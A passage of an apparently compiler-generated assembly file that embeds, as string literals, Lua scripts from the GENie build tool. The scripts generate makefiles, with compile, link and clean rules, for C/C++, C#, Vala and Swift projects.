$(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getobjcflags(cfg), cfg.buildoptions, cfg.buildoptions_objc)))\n_p(' ALL_OBJCPPFLAGS += $(CXXFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getcxxflags(cfg), cc.getobjcflags(cfg), cfg.buildoptions, cfg.buildoptions_objcpp)))\n_p(' ALL_RESFLAGS += $(RESFLAGS) $(DEFINES) $(INCLUDES)%s',\n make.list(table.join(cc.getdefines(cfg.resdefines),\n cc.getincludedirs(cfg.resincludedirs), cfg.resoptions)))\nend\nfunction cpp.linker(prj, cfg, cc)\nlocal libdeps\nlocal lddeps\nif #cfg.wholearchive > 0 then\nlibdeps = {}\nlddeps = {}\nfor _, linkcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nlocal linkpath = path.rebase(linkcfg.linktarget.fullpath, linkcfg.location, cfg.location)\nif table.icontains(cfg.wholearchive, linkcfg.project.name) then\nlddeps = table.join(lddeps, cc.wholearchive(linkpath))\nelse\ntable.insert(lddeps, linkpath)\nend\ntable.insert(libdeps, linkpath)\nend\nlibdeps = make.list(_MAKE.esc(libdeps))\nlddeps = make.list(_MAKE.esc(lddeps))\nelse\nlibdeps = make.list(_MAKE.esc(premake.getlinks(cfg, \"siblings\", \"fullpath\")))\nlddeps = libdeps\nend\n_p(' ALL_LDFLAGS += $(LDFLAGS)%s', make.list(table.join(cc.getlibdirflags(cfg), cc.getldflags(cfg), cfg.linkoptions)))\n_p(' LIBDEPS +=%s', libdeps)\n_p(' LDDEPS +=%s', lddeps)\nif cfg.flags.UseLDResponseFile then\n_p(' LDRESP = $(OBJDIR)/%s_libs', prj.name)\n_p(' LIBS += @$(LDRESP)%s', make.list(cc.getlinkflags(cfg)))\nelse\n_p(' LDRESP =')\n_p(' LIBS += $(LDDEPS)%s', make.list(cc.getlinkflags(cfg)))\nend\n_p(' EXTERNAL_LIBS +=%s', make.list(cc.getlibfiles(cfg)))\n_p(' LINKOBJS = %s', (cfg.flags.UseObjectResponseFile and \"@$(OBJRESP)\" or \"$(OBJECTS)\"))\nif cfg.kind == \"StaticLib\" then\nif (not prj.options.ArchiveSplit) then\n_p(' LINKCMD = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, false)))\nelse\n_p(' LINKCMD = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, false)))\n_p(' LINKCMD_NDX = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, true)))\nend\nelse\nlocal tool = iif(cfg.language == \"C\", \"CC\", \"CXX\")\nlocal startgroup = ''\nlocal endgroup = ''\nif (cfg.flags.LinkSupportCircularDependencies) then\nstartgroup = '-Wl,--start-group '\nendgroup = ' -Wl,--end-group'\nend\n_p(' LINKCMD = $(%s) -o $(TARGET) $(LINKOBJS) $(RESOURCES) $(ARCH) $(ALL_LDFLAGS) %s$(LIBS)%s', tool, startgroup, endgroup)\nend\nend\nfunction cpp.pchconfig(cfg)\nif not cfg.pchheader or cfg.flags.NoPCH then\nreturn\nend\nlocal pch = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, incdir))\nlocal testname = path.join(abspath, pch)\nif os.isfile(testname) then\npch = path.getrelative(cfg.location, testname)\nbreak\nend\nend\n_p(' PCH = %s', _MAKE.esc(pch))\n_p(' GCH = $(OBJDIR)/$(notdir $(PCH)).gch')\n_p(' GCH_OBJC = $(OBJDIR)/$(notdir $(PCH))_objc.gch')\nend\nfunction cpp.pchrules(prj)\n_p('ifneq (,$(PCH))')\n_p('$(GCH): $(PCH) $(MAKEFILE) | $(OBJDIR)')\nif prj.msgprecompile then\n_p('\\t@echo ' .. prj.msgprecompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nlocal cmd = iif(prj.language == \"C\", \"$(CC) $(ALL_CFLAGS) -x c-header\", \"$(CXX) $(ALL_CXXFLAGS) -x c++-header\")\n_p('\\t$(SILENT) %s $(DEFINES) $(INCLUDES) -o \"$@\" -c \"$<\"', cmd)\n_p('')\n_p('$(GCH_OBJC): $(PCH) $(MAKEFILE) | $(OBJDIR)')\nif prj.msgprecompile then\n_p('\\t@echo ' .. prj.msgprecompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nlocal cmd = iif(prj.language == \"C\", \"$(CC) $(ALL_OBJCFLAGS) -x objective-c-header\", \"$(CXX) $(ALL_OBJCPPFLAGS) -x objective-c++-header\")\n_p('\\t$(SILENT) %s $(DEFINES) $(INCLUDES) -o \"$@\" -c \"$<\"', cmd)\n_p('endif')\n_p('')\nend\nfunction cpp.fileRules(prj, cc)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\n_p('ifneq (,$(OBJRESP))')\n_p('$(OBJRESP): $(OBJECTS) | $(TARGETDIR) $(OBJDIRS)')\n_p('\\t$(SILENT) echo $^')\n_p('\\t$(SILENT) echo $^ > $@')\n_p('endif')\n_p('')\n_p('ifneq (,$(LDRESP))')\n_p('$(LDRESP): $(LDDEPS) | $(TARGETDIR) $(OBJDIRS)')\n_p('\\t$(SILENT) echo $^')\n_p('\\t$(SILENT) echo $^ > $@')\n_p('endif')\n_p('')\ntable.sort(prj.allfiles)\nfor _, file in ipairs(prj.allfiles or {}) do\nif path.issourcefile(file) then\nif (path.isobjcfile(file)) then\n_p('$(OBJDIR)/%s.o: %s $(GCH_OBJC) $(MAKEFILE) | $(OBJDIR)/%s'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n, _MAKE.esc(file)\n, _MAKE.esc(path.getdirectory(path.trimdots(file)))\n)\nelse\n_p('$(OBJDIR)/%s.o: %s $(GCH) $(MAKEFILE) | $(OBJDIR)/%s'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n, _MAKE.esc(file)\n, _MAKE.esc(path.getdirectory(path.trimdots(file)))\n)\nend\nif (path.isobjcfile(file) and prj.msgcompile_objc) then\n_p('\\t@echo ' .. prj.msgcompile_objc)\nelseif prj.msgcompile then\n_p('\\t@echo ' .. prj.msgcompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nif (path.isobjcfile(file)) then\nif (path.iscfile(file)) then\n_p('\\t$(SILENT) $(CXX) $(ALL_OBJCFLAGS) $(FORCE_INCLUDE_OBJC) -o \"$@\" -c \"$<\"')\nelse\n_p('\\t$(SILENT) $(CXX) $(ALL_OBJCPPFLAGS) $(FORCE_INCLUDE_OBJC) -o \"$@\" -c \"$<\"')\nend\nelseif (path.isasmfile(file)) then\n_p('\\t$(SILENT) $(CC) $(ALL_ASMFLAGS) -o \"$@\" -c \"$<\"')\nelse\ncpp.buildcommand(path.iscfile(file) and not prj.options.ForceCPP, \"o\")\nend\nfor _, task in ipairs(prj.postcompiletasks or {}) do\n_p('\\t$(SILENT) %s', task)\n_p('')\nend\n_p('')\nelseif (path.getextension(file) == \".rc\") then\n_p('$(OBJDIR)/%s.res: %s', _MAKE.esc(path.getbasename(file)), _MAKE.esc(file))\nif prj.msgresource then\n_p('\\t@echo ' .. prj.msgresource)\nelse\n_p('\\t@echo $(notdir $<)')\nend\n_p('\\t$(SILENT) $(RESCOMP) $< -O coff -o \"$@\" $(ALL_RESFLAGS)')\n_p('')\nend\nend\nend\nfunction cpp.dependencyRules(prj)\nfor _, dependency in ipairs(prj.dependency or {}) do\nfor _, dep in ipairs(dependency or {}) do\nif (dep[3]==nil or dep[3]==false) then\n_p('$(OBJDIR)/%s.o: %s'\n, _MAKE.esc(path.trimdots(path.removeext(path.getrelative(prj.location, dep[1]))))\n, _MAKE.esc(path.getrelative(prj.location, dep[2]))\n)\nelse\n_p('%s: %s'\n, _MAKE.esc(dep[1])\n, _MAKE.esc(path.getrelative(prj.location, dep[2]))\n)\nend\n_p('')\nend\nend\nend\nfunction cpp.buildcommand(iscfile, objext)\nlocal flags = iif(iscfile, '$(CC) $(ALL_CFLAGS)', '$(CXX) $(ALL_CXXFLAGS)')\n_p('\\t$(SILENT) %s $(FORCE_INCLUDE) -o \"$@\" -c \"$<\"', flags, objext)\nend\n"
L_.str.36: ## @.str.36
.asciz "local function getresourcefilename(cfg, fname)\nif path.getextension(fname) == \".resx\" then\nlocal name = cfg.buildtarget.basename .. \".\"\nlocal dir = path.getdirectory(fname)\nif dir ~= \".\" then\nname = name .. path.translate(dir, \".\") .. \".\"\nend\nreturn \"$(OBJDIR)/\" .. _MAKE.esc(name .. path.getbasename(fname)) .. \".resources\"\nelse\nreturn fname\nend\nend\nfunction premake.make_csharp(prj)\nlocal csc = premake.dotnet\nlocal cfglibs = { }\nlocal cfgpairs = { }\nlocal anycfg\nfor cfg in premake.eachconfig(prj) do\nanycfg = cfg\ncfglibs[cfg] = premake.getlinks(cfg, \"siblings\", \"fullpath\")\ncfgpairs[cfg] = { }\nfor _, fname in ipairs(cfglibs[cfg]) do\nif path.getdirectory(fname) ~= cfg.buildtarget.directory then\ncfgpairs[cfg][\"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(fname))] = _MAKE.esc(fname)\nend\nend\nend\nlocal sources = {}\nlocal embedded = { }\nlocal copypairs = { }\nfor fcfg in premake.project.eachfile(prj) do\nlocal action = csc.getbuildaction(fcfg)\nif action == \"Compile\" then\ntable.insert(sources, fcfg.name)\nelseif action == \"EmbeddedResource\" then\ntable.insert(embedded, fcfg.name)\nelseif action == \"Content\" then\ncopypairs[\"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(fcfg.name))] = _MAKE.esc(fcfg.name)\nelseif path.getname(fcfg.name):lower() == \"app.config\" then\ncopypairs[\"$(TARGET).config\"] = _MAKE.esc(fcfg.name)\nend\nend\nlocal paths = table.translate(prj.libdirs, function(v) return path.join(prj.basedir, v) end)\npaths = table.join({prj.basedir}, paths)\nfor _, libname in ipairs(premake.getlinks(prj, \"system\", \"fullpath\")) do\nlocal libdir = os.pathsearch(libname..\".dll\", unpack(paths))\nif (libdir) then\nlocal target = \"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(libname))\nlocal source = path.getrelative(prj.basedir, path.join(libdir, libname))..\".dll\"\ncopypairs[target] = _MAKE.esc(source)\nend\nend\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(prj.configurations[1]:lower()))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p('endif')\n_p('')\n_p('ifndef CSC')\n_p(' CSC=%s', csc.getcompilervar(prj))\n_p('endif')\n_p('')\n_p('ifndef RESGEN')\n_p(' RESGEN=resgen')\n_p('endif')\n_p('')\nlocal platforms = premake.filterplatforms(prj.solution, premake[_OPTIONS.cc].platforms)\ntable.insert(platforms, 1, \"\")\nfor cfg in premake.eachconfig(prj) do\npremake.gmake_cs_config(cfg, csc, cfglibs)\nend\n_p('# To maintain compatibility with VS.NET, these values must be set at the project level')\n_p('TARGET := $(TARGETDIR)/%s', _MAKE.esc(prj.buildtarget.name))\n_p('FLAGS += /t:%s %s', csc.getkind(prj):lower(), table.implode(_MAKE.esc(prj.libdirs), \"/lib:\", \"\", \" \"))\n_p('REFERENCES += %s', table.implode(_MAKE.esc(premake.getlinks(prj, \"system\", \"basename\")), \"/r:\", \".dll\", \" \"))\n_p('')\n_p('SOURCES := \\\\')\nfor _, fname in ipairs(sources) do\n_p('\\t%s \\\\', _MAKE.esc(path.translate(fname)))\nend\n_p('')\n_p('EMBEDFILES := \\\\')\nfor _, fname in ipairs(embedded) do\n_p('\\t%s \\\\', getresourcefilename(prj, fname))\nend\n_p('')\n_p('COPYFILES += \\\\')\nfor target, source in pairs(cfgpairs[anycfg]) do\n_p('\\t%s \\\\', target)\nend\nfor target, source in pairs(copypairs) do\n_p('\\t%s \\\\', target)\nend\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\n_p('all: $(TARGETDIR) $(OBJDIR) prebuild $(EMBEDFILES) $(COPYFILES) prelink $(TARGET)')\n_p('')\n_p('$(TARGET): $(SOURCES) $(EMBEDFILES) $(DEPENDS)')\n_p('\\t$(SILENT) $(CSC) /nologo /out:$@ $(FLAGS) $(REFERENCES) $(SOURCES) $(patsubst %%,/resource:%%,$(EMBEDFILES))')\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('$(OBJDIR):')\npremake.make_mkdirrule(\"$(OBJDIR)\")\n_p('clean:')\n_p('\\t@echo Cleaning %s', prj.name)\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET) $(COPYFILES)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGETDIR)/%s.*) del $(subst /,\\\\\\\\,$(TARGETDIR)/%s.*)', prj.buildtarget.basename, prj.buildtarget.basename)\nfor target, source in pairs(cfgpairs[anycfg]) do\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,%s) del $(subst /,\\\\\\\\,%s)', target, target)\nend\nfor target, source in pairs(copypairs) do\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,%s) del $(subst /,\\\\\\\\,%s)', target, target)\nend\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\n_p('# Per-configuration copied file rules')\nfor cfg in premake.eachconfig(prj) do\n_p('ifneq (,$(findstring %s,$(config)))', _MAKE.esc(cfg.name:lower()))\nfor target, source in pairs(cfgpairs[cfg]) do\npremake.make_copyrule(source, target)\nend\n_p('endif')\n_p('')\nend\n_p('# Copied file rules')\nfor target, source in pairs(copypairs) do\npremake.make_copyrule(source, target)\nend\n_p('# Embedded file rules')\nfor _, fname in ipairs(embedded) do\nif path.getextension(fname) == \".resx\" then\n_p('%s: %s', getresourcefilename(prj, fname), _MAKE.esc(fname))\n_p('\\t$(SILENT) $(RESGEN) $^ $@')\nend\n_p('')\nend\nend\nfunction premake.gmake_cs_config(cfg, csc, cfglibs)\nlocal targetDir = _MAKE.esc(cfg.buildtarget.directory)\n_p('ifneq (,$(findstring %s,$(config)))', _MAKE.esc(cfg.name:lower()))\n_p(' TARGETDIR := %s', iif(targetDir == \"\", \".\", targetDir))\n_p(' OBJDIR := %s', _MAKE.esc(cfg.objectsdir))\n_p(' DEPENDS := %s', table.concat(_MAKE.esc(premake.getlinks(cfg, \"dependencies\", \"fullpath\")), \" \"))\n_p(' REFERENCES := %s', table.implode(_MAKE.esc(cfglibs[cfg]), \"/r:\", \"\", \" \"))\n_p(' FLAGS += %s %s', table.implode(cfg.defines, \"/d:\", \"\", \" \"), table.concat(table.join(csc.getflags(cfg), cfg.buildoptions), \" \"))\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p('endif')\n_p('')\nend\n"
L_.str.37: ## @.str.37
.asciz "local make = premake.make\nfunction premake.make_vala(prj)\nlocal valac = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, valac.platforms, \"Native\")\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(' RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(' RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('VALAC = %s', valac.valac)\n_p('CC = %s', valac.cc)\n_p('')\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\npremake.gmake_valac_config(prj, cfg, valac)\nend\nend\n_p('SOURCES := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.issourcefile(file) then\nif not table.icontains(prj.excludes, file) then\n_p('\\t%s \\\\', _MAKE.esc(file))\nend\nend\nend\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\n_p('all: prebuild prelink $(TARGET) | $(TARGETDIR)')\n_p('\\t@:')\n_p('')\n_p('$(TARGET): $(SOURCES) | $(TARGETDIR)')\n_p('\\t$(SILENT) $(VALAC) -o $(TARGET) --cc=$(CC) $(FLAGS) $(SOURCES)')\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\nend\nfunction premake.gmake_valac_config(prj, cfg, valac)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\n_p(' TARGETDIR = %s', _MAKE.esc(cfg.buildtarget.directory))\n_p(' TARGET = $(TARGETDIR)/%s', _MAKE.esc(cfg.buildtarget.name))\n_p(' DEFINES +=%s', make.list(valac.getdefines(cfg.defines)))\n_p(' VAPIDIRS +=%s', make.list(valac.getvapidirs(cfg.vapidirs)))\n_p(' PKGS +=%s', make.list(valac.getlinks(cfg.links)))\n_p(' FLAGS += $(DEFINES) $(VAPIDIRS) $(PKGS)%s', make.list(table.join(valac.getvalaflags(cfg), valac.getbuildoptions(cfg.buildoptions), valac.getbuildoptions(cfg.buildoptions_c), cfg.buildoptions_vala)))\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p('endif')\n_p('')\nend\n"
L_.str.38: ## @.str.38
.asciz "local make = premake.make\nlocal swift = { }\nfunction premake.make_swift(prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(1, 'config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(1, 'SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(1, 'SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(1, 'MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(1, 'COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(1, 'RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(1, 'MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(1, 'COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(1, 'RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('SWIFTC = %s', tool.swift)\n_p('SWIFTLINK = %s', tool.swiftc)\n_p('DSYMUTIL = %s', tool.dsymutil)\n_p('AR = %s', tool.ar)\n_p('')\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nswift.generate_config(prj, cfg, tool)\nend\nend\n_p('.PHONY: ')\n_p('')\n_p('all: $(WORK_DIRS) $(TARGET)')\n_p('')\n_p('$(WORK_DIRS):')\n_p(1, '$(SILENT) $(call MKDIR,$@)')\n_p('')\n_p('SOURCES := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.isswiftfile(file) then\n_p(1, '%s \\\\', _MAKE.esc(file))\nend\nend\n_p('')\nlocal objfiles = {}\n_p('OBJECTS_WITNESS := $(OBJDIR)/build.stamp')\n_p('OBJECTS := \\\\')\nfor _, file in ipairs(prj.files) do\nif path.isswiftfile(file) then\nlocal objname = _MAKE.esc(swift.objectname(file))\ntable.insert(objfiles, objname)\n_p(1, '%s \\\\', objname)\nend\nend\n_p('')\nswift.file_rules(prj, objfiles)\nswift.linker(prj, tool)\nswift.generate_clean(prj)\nend\nfunction swift.objectname(file)\nreturn path.join(\"$(OBJDIR)\", path.getname(file)..\".o\")\nend\nfunction swift.file_rules(prj, objfiles)\n_p('$(OBJECTS_WITNESS): $(SOURCES)')\n_p(1, \"@rm -f $(OBJDIR)/data.tmp\")\n_p(1, \"@touch $(OBJDIR)/data.tmp\")\n_p(1, \"$(SILENT) $(SWIFTC) -frontend -c $(SOURCES) -enable-objc-interop $(SDK) -I $(OUT_DIR) $(SWIFTC_FLAGS) -module-cache-path $(MODULECACHE_DIR) -D SWIFT_PACKAGE $(MODULE_MAPS) -emit-module-doc-path $(OUT_DIR)/$(MODULE_NAME).swiftdoc -module-name $(MODULE_NAME) -emit-module-path $(OUT_DIR)/$(MODULE_NAME).swiftmodule -num-threads 8 %s\", table.arglist(\"-o\", objfiles))\n_p(1, \"@mv -f $(OBJDIR)/data.tmp $(OBJECTS_WITNESS)\")\n_p('')\n_p('$(OBJECTS): $(OBJECTS_WITNESS)')\n_p(1, '@if test -f $@; then :; else \\\\')\n_p(2, 'rm -f $(OBJECTS_WITNESS); \\\\')\n_p(2, '$(MAKE) $(AM_MAKEFLAGS) $(OBJECTS_WITNESS); \\\\')\n_p(1, 'fi')\n_p('')\nend\nfunction swift.linker(prj, tool)\nlocal lddeps = make.list(premake.getlinks(prj, \"siblings\", \"fullpath\")) \nif prj.kind == \"StaticLib\" then\n_p(\"$(TARGET): $(OBJECTS) %s \", lddeps)\n_p(1, \"$(SILENT) $(AR) cr $(AR_FLAGS) $@ $(OBJECTS) %s\", (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\nelse\n_p(\"$(TARGET): $(OBJECTS) $(LDDEPS)\", lddeps)\n_p(1, \"$(SILENT) $(SWIFTLINK) $(SDK) -L $(OUT_DIR) -o $@ $(SWIFTLINK_FLAGS) $(LD_FLAGS) $(OBJECTS)\")\n_p(\"ifdef SYMBOLS\")\n_p(1, \"$(SILENT) $(DSYMUTIL) $(TARGET) -o $(SYMBOLS)\")\n_p(\"endif\")\nend\n_p('')\nend\nfunction swift.generate_clean(prj)\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('\\t$(SILENT) rm -rf $(SYMBOLS)')\n_p('\\t$(SILENT) rm -rf $(MODULECACHE_DIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(SYMBOLS)) rmdir /s /q $(subst /,\\\\\\\\,$(SYMBOLS))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(MODULECACHE_DIR)) rmdir /s /q $(subst /,\\\\\\\\,$(MODULECACHE_DIR))')\n_p('endif')\n_p('')\nend\nfunction swift.generate_config(prj, cfg, tool)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\n_p(1, \"OUT_DIR = %s\", cfg.buildtarget.directory)\n _p(1, \"MODULECACHE_DIR = $(OUT_DIR)/ModuleCache\")\n_p(1, \"TARGET = $(OUT_DIR)/%s\", _MAKE.esc(cfg.buildtarget.name))\nlocal objdir = path.join(cfg.objectsdir, prj.name .. \".build\")\n_p(1, \"OBJDIR = %s\", objdir)\n_p(1, \"MODULE_NAME = %s\", prj.name)\n_p(1, \"MODULE_MAPS = %s\", make.list(tool.getmodulemaps(cfg)))\n_p(1, \"SWIFTC_FLAGS = %s\", make.list(tool.getswiftcflags(cfg)))\n_p(1, \"SWIFTLINK_FLAGS = %s\", make.list(tool.getswiftlinkflags(cfg)))\n_p(1, \"AR_FLAGS = %s\", make.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(1, \"LD_FLAGS = %s\", make.list(tool.getldflags(cfg)))\n_p(1, \"LDDEPS = %s\", make.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")))\nif cfg.flags.Symbols then\n_p(1, \"SYMBOLS = $(TARGET).dSYM\")\nend\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(1, \"TOOLCHAIN_PATH = %s\", tool.get_toolchain_path(cfg))\n_p(1, \"SDK_PATH = %s\", sdk)\n_p(1, \"PLATFORM_PATH = %s\", tool.get_sdk_platform_path(cfg))\n_p(1, \"SDK = -sdk $(SDK_PATH)\")\nelse\n_p(1, \"SDK_PATH =\")\n_p(1, \"SDK =\")\nend\n_p(1,'WORK_DIRS = $(OUT_DIR) $(OBJDIR)')\n_p('endif')\n_p('')\nend"
L_.str.39: ## @.str.39
